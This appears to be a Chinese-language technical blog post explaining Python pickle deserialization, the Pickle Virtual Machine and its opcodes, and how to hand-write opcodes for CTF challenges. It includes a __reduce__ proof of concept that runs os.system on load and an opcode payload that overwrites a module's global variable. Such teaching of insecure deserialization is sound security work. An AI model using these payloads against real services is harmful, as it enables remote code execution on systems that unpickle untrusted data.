【技術分享】Python反序列化-手寫opcode

星雲博創 發佈 2024-04-30T15:31:28.274447+00:00

01 寫在開篇模塊 pickle 實現了對一個 Python 對象結構的二進位序列化和反序列化。

01 寫在開篇

模塊 pickle 實現了對一個 python 對象結構的二進位序列化和反序列化。"pickling" 是將 Python 對象及其所擁有的層次結構轉化為一個字節流的過程,而 "unpickling" 是相反的操作,會將(來自一個 binary file 或者 bytes-like object 的)字節流轉化回一個對象層次結構。pickling(和 unpickling)也被稱為「序列化」, 「編組」 或者 「平面化」。而為了避免混亂,此處採用術語 「封存 (pickling)」 和 「解封 (unpickling)」。

* pickle.dumps(object):用於序列化一個對象。

* pickle.loads(picklestring):用於反序列化數據,實現一個對象的構建。

過程展現:

1. 如果直接定義類 dairy,其中的data text文件將不會被序列化。

2. 需要設定init才可以把以下屬性序列化進去。

3. 反序列化如下顯示。

4. 序列化數組亦可,如下顯示。

5. pickle不僅可以序列化字符串,也可以讀寫文件,使用pickle.dump()和pickle.load() 即可。

小結:

(一)序列化過程

* 從對象中提取所有屬性(__dict__),並將屬性轉為鍵值對

* 寫入對象的類名

* 寫入鍵值對

(二)反序列化過程

* 獲取 pickle 輸入流

* 重建屬性列表

* 根據保存的類名創建一個新的對象

* 將屬性複製到新的對象中


02__reduce__()

__reduce__()類似於PHP中的__wakeup__魔法函數。如果當__reduce__返回值為一個元組(2到5個參數),第一個參數是可調用(callable)的對象,第二個是該對象所需的參數元組。在這種情況下,反序列化時會自動執行__reduce__裡面的操作。

1. 測試代碼。

2.運行結果。

3.彈計算機。


03pickle簡介

pickle 是一種棧語言,有不同的編寫方式,是基於一個輕量的 PVM(Pickle Virtual Machine)。

(一)PVM 的組成部分。

·指令處理器

從流中讀取 opcode 和參數,並對其進行解釋處理。重複這個動作,直到遇「.」這個結束符後停止。最終留在棧頂的值將被作為反序列化對象返回。

·stack

由 Python 的 list 實現,被用來臨時存儲數據、參數以及對象。

·memo

由 Python 的 dict 實現,為 PVM 的整個生命周期提供存儲。

備註:注意 stack、memo 的實現方式,方便理解接下來的指令。

當前用於 pickling 的協議共有 5 種。使用的協議版本越高,讀取生成的 pickle 所需的 Python 版本就要越新。

* v0 版協議是原始的 「人類可讀」 協議,並且向後兼容早期版本的 Python。

* v1 版協議是較早的二進位格式,它也與早期版本的 Python 兼容。

* v2 版協議是在 Python 2.3 中引入的。它為存儲 new-style class 提供了更高效的機制。欲了解有關第 2 版協議帶來的改進,請參閱 PEP 307。

* v3 版協議添加於 Python 3.0。它具有對 bytes 對象的顯式支持,且無法被 Python 2.x 打開。這是目前默認使用的協議,也是在要求與其他 Python 3 版本兼容時的推薦協議。

* v4 版協議添加於 Python 3.4。它支持存儲非常大的對象,能存儲更多種類的對象,還包括一些針對數據格式的優化。有關第 4 版協議帶來改進的信息,請參閱 PEP 3154。


(二)指令集。

(三)匯總:

1. c:讀取新的一行作為模塊名module,讀取下一行作為對象名object,並將module.object壓入到堆棧中。

2. (:將一個標記對象插入到堆棧中。為實現目的,該指令會與t搭配使用,以產生一個元組。

3. t:從堆棧中彈出對象,直到一個「(」被彈出和創建一個包含彈出對象(除了「(」)的元組對象,並且這些對象的順序必須與它們壓入堆棧時的順序一致,再將該元組壓入到堆棧中。

4. S:讀取引號中的字符串直到換行符處,並將它壓入堆棧。

5. R:將一個元組和一個可調用對象彈出堆棧,以該元組作為參數可調用的對象,並將結果壓入到堆棧中。

6. .:結束pickle。

7. 動態圖解釋:

參考:https://www.cnblogs.com/value-code/p/9224820.html

8. opmode版本如下顯示。

9. pickle3版本的opcode示例。

03 pickletools 工具使用

pickletools.optimize目的就是為了去除聲明q ,q:儲存棧頂的字符串長度為一個字節(即\x00)。

1. 變量覆蓋。

/usr/local/var/pyenv/versions/3.7.0/bin/python

/Users/Tkith/Tkitn'sCodeProject/Tkitnpygogogo/aix.py

0: \x80 PROTO3

2: cGLOBAL'builtins exec'

17: qBINPUT0

19: XBINUNICODE "key1=b'1'\nkey2=b'2'"

43: qBINPUT1

45: \x85 TUPLE1 #聲明第一個元祖

46: qBINPUT2

48: RREDUCE

49: qBINPUT3

51: .STOP

highest protocol among opcodes = 2

b'1' b'2'

None

Process finished with exit code 0


2. 簡單rce。

import pickle

import os

class genpoc(object):

def __reduce__(self):

s = """echo test >poc.txt""" # 要執行的命令

return os.system, (s,) # reduce函數必須

返回元組或字符串

e = genpoc()

poc = pickle.dumps(e)

print(poc) # 此時,如果 pickle.loads(poc),就會執行命令。


3. 手寫opcode

·在CTF中,很多時候需要一次執行多個函數或一次操作多個指令,此時就不能只用__reduce__ 來解決問題。因為reduce一次只能執行一個函數,當exec被禁用時,就不能一次執行多條指令了,所以需要手動拼接或構造opcode了。手寫opcode也是pickle反序列化中較難之處。

·此處可以體會到為何pickle是一種語言,直接編寫opcode的靈活性比使用pickle序列化生成的代碼更高。只要符合pickle語法,就可以進行變量覆蓋、函數執行等操作。

·根據前文不同版本的opcode可以看出,版本0的opcode更便於閱讀。所以手動編寫時,一般選用版本0的opcode。下文中,所有opcode均為版本0的opcode。

全局變量覆蓋

# secret.py

name='TEST3213qkfsmfo'

#main.py

import pickle

import secret

opcode='''c__main__

secret

(S'name'

S'1'

db.'''

print('before:',secret.name)

output=pickle.loads(opcode.encode())

print('output:',output)

print('after:',secret.name)

通過c獲取全局變量secret,建立一個字典,並使用b對secret進行屬性設置,將會使用到payload。

opcode='''c__main__

secret

(S'name'

S'1'

db.'''


4. 函數執行

與函數執行相關的opcode有三個:R、i、o ,所以我們可以從三個方向進行構造。

練習題:ikun

練習題目:

[watevrCTF-2019]Pickle Store

wp:

https://www.cnblogs.com/20175211lyz/p/12310293.html

wp2:

https://blog.csdn.net/weixin_45669205/article/details/116274988

wp3:不出網

https://xz.aliyun.com/t/7320#toc-1

推薦使用的wp:

https://xz.aliyun.com/t/7320#toc-1

關鍵字: